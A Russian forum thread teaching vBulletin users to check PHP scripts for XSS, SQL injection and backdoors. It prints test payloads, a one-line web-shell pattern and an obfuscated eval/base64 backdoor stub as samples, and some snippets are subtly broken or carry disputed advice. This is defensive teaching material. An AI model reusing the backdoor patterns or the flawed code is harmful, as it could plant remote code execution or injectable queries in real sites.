форум vBSupport.ru > vBSupport.ru > Безопасность
Register Меню vBsupport Изображения Files Manager О рекламе Today's Posts Search
  • Родная гавань
  • Блок РКН снят
  • Premoderation
  • For English speaking users
  • Каталог Фрилансеров
  • If you want to buy some product or script
  • Администраторам
VBsupport перешел с домена .ORG на родной .RU Ура! Пожалуйста, обновите свои закладки - VBsupport.ru
Блок РКН снят, форум доступен на всей территории России, включая новые терртории, без VPN
На форуме введена премодерация ВСЕХ новых пользователей

Почта с временных сервисов, типа mailinator.com, gawab.com и/или прочих, которые предоставляют временный почтовый ящик без регистрации и/или почтовый ящик для рассылки спама, отслеживается и блокируется, а так же заносится в спам-блок форума, аккаунты удаляются
for English speaking users:
You may be surprised with restriction of access to the attachments of the forum. The reason is the recent change in vbsupport.org strategy:

- users with reputation < 10 belong to "simple_users" users' group
- if your reputation > 10 then administrator (kerk, Luvilla) can decide to move you into an "improved" group, but only manually

Main idea is to increase motivation of community members to share their ideas and willingness to support to each other. You may write an article for the subject where you are good enough, you may answer questions, you may share vbulletin.com/org content with vbsupport.org users, receiving "thanks" equal your reputation points. We should not only consume, we should produce something.

- you may:
* increase your reputation (doing something useful for another members of community) and being improved
* purchase temporary access to the improved category:
10 $ for 3 months. - this group can download attachments, reputation/posts do not matter.
20 $ for 3 months. - this group can download attachments, reputation/posts do not matter + adds eliminated + Inbox capacity increased + files manager increased permissions.

Please contact kerk or Luvilla regarding payments.

Important!:
- if your reputation will become less then 0, you will be moved into "simple_users" users' group automatically.*
*for temporary groups (pre-paid for 3 months) reputation/posts do not matter.
Уважаемые пользователи!

На форуме открыт новый раздел "Каталог фрилансеров"

и отдельный раздел для платных заказов "Куплю/Закажу"

Если вы хотите приобрести какой то скрипт/продукт/хак из каталогов перечисленных ниже:
Каталог модулей/хаков
Ещё раз обращаем Ваше внимание: всё, что Вы скачиваете и устанавливаете на свой форум, Вы устанавливаете исключительно на свой страх и риск.
Сообщество vBSupport'а физически не в состоянии проверять все стили, хаки и нули, выкладываемые пользователями.
Помните: безопасность Вашего проекта - Ваша забота.
Убедительная просьба: при обнаружении уязвимостей или сомнительных кодов обязательно отписывайтесь в теме хака/стиля
Спасибо за понимание
 
 
 
 
StenLi
На доске почёта
Пожизненный блэк
 
banned nax
Post Как самому проверить продукт\скрипт на уязвимости
25

Приветствую всех, в данной статье я хочу рассказать, как пользователю без знаний в php и классификации уязвимостей - можно проверить загружаемый продукт\скрипт, чтобы быть увереным в его безопасности в последующем.
Начнем с терминов:
  • XSS - Это недоработка в фильтре, проверки переменных, исполняемых скриптом.
  • SQL INJ - Это недоработка в фильтре, проверки переменных, которые в последующем используются в запросах к обращению к БД.
  • BACKDOOR - Это специально оставленная разработчиком уязвимость, с помощью которой можно получить доступ к вашему сайту.
---
  • Обфускация кода - Зашифрованный код в теле скрипта, которые может содержать в себе Бэк'доры, Ай'Фреймы и т.д.
Запомнили технические названия уязвимостей, которые мы начнем искать в нашем скрипте?


С чего начать проверку скрипта?

XSS
XSS может быть оставлена разработчиком, как специально, так и случайно.
Она может быть завуалирована по разному, но эффект от нее будет один и тот же, хотя они делятся по классам "активная" и "пассивная"
Активная опасней, ведь она без ведома пользователя может совершать манипуляции скрытой навигации по страницам и т.д.
Пассивная чаще всего выполняет лишь роль кражи Cookies(сюда входит сессия сайта и т.д.).

Покажу пример:
Есть php код:
1.php
PHP Code:
<?PHP
echo $_GET['e'];
?>
При обращении к скрипту 1.php?e=<script>alert('vB')</script>
Мы увидим всплывающее окно, соответственно, с надписью vB.

Убрать эту уязвимость можно, отфильтровав запросы $_GET,$_POST,$_REQUEST,$_SESSION,$_COOKIES.
Получится примерно следующий код:
Есть php код:
1.php
PHP Code:
<?PHP
echo htmlspecialchars($_GET['e']);
?>
Теперь при таком же запросе к скрипту, мы увидем белую страницу с надписью <script>alert('vB')</script>, которая будет вполне безопасна.

SQL INJ
Sql injection же может использоваться в скриптах, где есть работа с базой данных, иначе эта уязвимость не имеет в себе никакого смысла.
Рассмотрим так же пример с кодом:
2.php
PHP Code:
<?PHP
/*******Тут подключение к бд и основной код*********/
$result=mysql_query("SELECT * FROM user WHERE id=".$_GET['userid']."");
/*******Остальной код**************************/
?>
При обращении к скрипту с запросом: 2.php?userid=1
Нам по идее должны отобразиться данные с информацией о пользователе,
а при обращении с запросом: 2.php?userid=1'
Нам отобразиться что-то типа: mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''

Что не есть хорошо.
С помощью данной уязвимости пользователь сможет подобрать колонки и столбцы, вывести нужные данные об нужном пользователе, и далее взломать сайт или т.д.
На примере кода в php данную уязвимость можно вылечить так:
2.php
PHP Code:
<?PHP
/*******Тут подключение к бд и основной код*********/
$result=mysql_query("SELECT * FROM user WHERE id='".mysql_real_escape_string($_GET['userid'])."'");
/*******Остальной код**************************/
?>
и соответственно при get_magic_quotes_gpc() - TRUE, можно обойтись только stripslashes()
BACKDOOR
Backdoor - Уязвимость, оставленная намерено разработчиком, или зловредителем в вашем скрипте.
Чаще всего она выражается в следующих командах:
PHP Code:
string shell_exec (string cmd)
string system (string cmd)
string eval (string cmd
Однако есть более изощренные варианты, например:
$_REQUEST[e]($_REQUEST[c])
Которые могут даже не содержать данных слов, а просто исполняться скриптом при запросе.

Чаще всего Бэк'доры оставляют в скриптах в виде Обфускации кода,
Это может быть что-то просто, в виде:
PHP Code:
<?PHP
eval(base64_decode('blablabla'));
?>
Или сильно обфусцированные участки, типа:
PHP Code:
<?php  
$OOO00000
=urldecode('%66%67%36%73%62%65%68%70%72%  61%34%63%6f%5f%74%6e%64'); 
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{  3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000  000{10}.$OOO000000{13}.$OOO000000{16}; 
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO00000  0{12}.$OOO0000O0{7}.$OOO000000{5}; 
$OOO000O00=$OOO00000{0}.$OOO000000{12}.$OOO000000  {7}.$OOO000000{5}.$OOO000000{15}; 
$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{  5}.$OOO000000{14}.$OOO000000{3}; 
$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{  5}.$OOO000000{9}.$OOO000000{16}; 
$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000  {8}.$OOO000000{14}.$OOO000000{8}; 
$OOO0O0O00=__FILE__
$OO00O0000=2504
eval(
$OOO000O0('aWYoITApJE8wMDBPME8wMD0kT09PMDAwT  zAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwME8wMCgkTzAwME8  wTzAwLDEwMjQpOyRPME8wMDBPMDAoJE8wMDBPME8wMCw0MDk2K  TskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzB  PMDBPTzAwKCRPMDAwTzBPMDAsMzgwKSwnVmlBcnRTaG9wUlVMY  2tLZXlZRUNPbHVQSHNUYUl2QmJEZEZmR2dKak1tTm5RcVd3WHh  aejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTV  FVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ  1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7')); 
return;
?>
В таких случаях поможет только ручная обработка, но об этом позже в статье.

PS. Статья была накидана для рядовых пользователей, которые никогда не слышали об уязвимостях,
в дальнейшем статья будет расширяться и будет дополнена, непосредственно, примерами лечения уязвимостей на синтаксисе vbulletin.

Спасибо!
С уважением, StenLi.
Специально для vBsupport. Запрещено копирование данного материала, а так же правка и публикация на сторонних ресурсах.

Last edited by StenLi : 05-13-2012 at 03:36 PM.
Bot
Yandex Bot Yandex Bot is online now
 
Join Date: 05.05.2005
Реклама на форуме А что у нас тут интересного? =)
 
 
StenLi
На доске почёта
Пожизненный блэк
 
banned nax
Default
12

Хотелось бы дополнить данную статью непосредственными примерами из апи vbulletin.
Допустим, нам необходимо определить все переменные (Кстати сам сейчас отучиваю себя использовать устаревшие GET,POST в написании модулей под vB), об этом ниже:

В PHP приняты переменные:
  • $_GET
  • $_POST
  • $_REQUEST
  • $_COOKIE
  • $_FILES

Но в классах vBulletin они идут в обертках, и определяются как $vbulletin->GPC[] и т.д.
Они уже содержат фильтрацию, но чтобы форум мог понять как именно фильтровать ваш запрос, без вреда для него нужно определить его тип:
  • TYPE_BOOL - Логика (true или false)
  • TYPE_INT - Цифры (Возможно отрицательное значение с минусом)
  • TYPE_UINT - Цифры (Только положительное значение)
  • TYPE_NUM - Цифры (С точкой(допустим для точного калькулирования результата), допускает отрицательное значение)
  • TYPE_UNUM - Цифры (С точкой(допустим для точного калькулирования результата), только положительное значение)
  • TYPE_UNIXTIME - Цифры(Для работы с времен в UNIX TIME)
  • TYPE_STR - Цифры + Текст(Обрезает пробелы в начале и конце)
  • TYPE_NOTRIM - Текст(В безобразном порядке, не приводит в один реестр)
  • TYPE_NOHTML - Текст(Приводит в один реестр, фильтрует HTML теги)
  • TYPE_ARRAY - Массив
  • TYPE_FILE - Файл
  • TYPE_NOCLEAN - Без фильтрации(используйте осторожно!!!)

Пример запроса с использованием наших новых переменных.

PHP Code:
$vbulletin->input->clean_array_gpc('p', array(
    
'field_one' => TYPE_STR
    
'field_two' => TYPE_NOHTML,
    
'key_field' => TYPE_INT
)); 
*field_X - Случайные поля.

Переходим к запросу:
PHP Code:
$cleanedvar =& $vbulletin->input->clean_gpc('p''field_one'TYPE_STR);

$db->query_write("
    UPDATE " 
TABLE_PREFIX "table SET
        field_one = '" 
$db->escape_string($vbulletin->GPC['field_one']) . "',
        field_two = '" 
$db->escape_string($vbulletin->GPC['field_two']) . "',
    WHERE key_field = " 
$vbulletin->GPC['key_field'] . "
"
); 
Очень важный пункт: escape_string() - внутреняя функция реал_ескейп_стринг. Она экранирует спец. символы строки, принимая во внимание кодировку соединения. Она нужна нам для того, чтобы избавиться от SQL Injection в запросе.

PS. Примеры и описание взяты из офф. мануалов.

Всем спасибо.
С ув. StenLi

PS. Упс((( незаметил, что PGP уже писал об этом: _http://vbsupport.ru/forum/showthread.php?t=43403
 
 
snoopi
Знаток
Default
0

1) Если в запросе входящие данные цифры, достаточно intval заместо mysql_real_escape_string
2) Про get_magic_quotes_gpc и stripslashes информацию удали. Надо всегда (за исключением первого пункта) использовать mysql_real_escape_string
 
 
StenLi
На доске почёта
Пожизненный блэк
 
banned nax
Default
1

Quote:
Originally Posted by snoopi View Post
1) Если в запросе входящие данные цифры, достаточно intval заместо mysql_real_escape_string
А если они
а) Дробные ?
б) Отрицательные ?
в) С содержанием других символов и знаков ?

Last edited by StenLi : 04-13-2013 at 10:01 AM.
 

Tags
sql inj, дырки, как вылечить, уязвимости


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off




All times are GMT +4. The time now is 03:37 AM.


Powered by vBulletin® Version 3.0.13
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.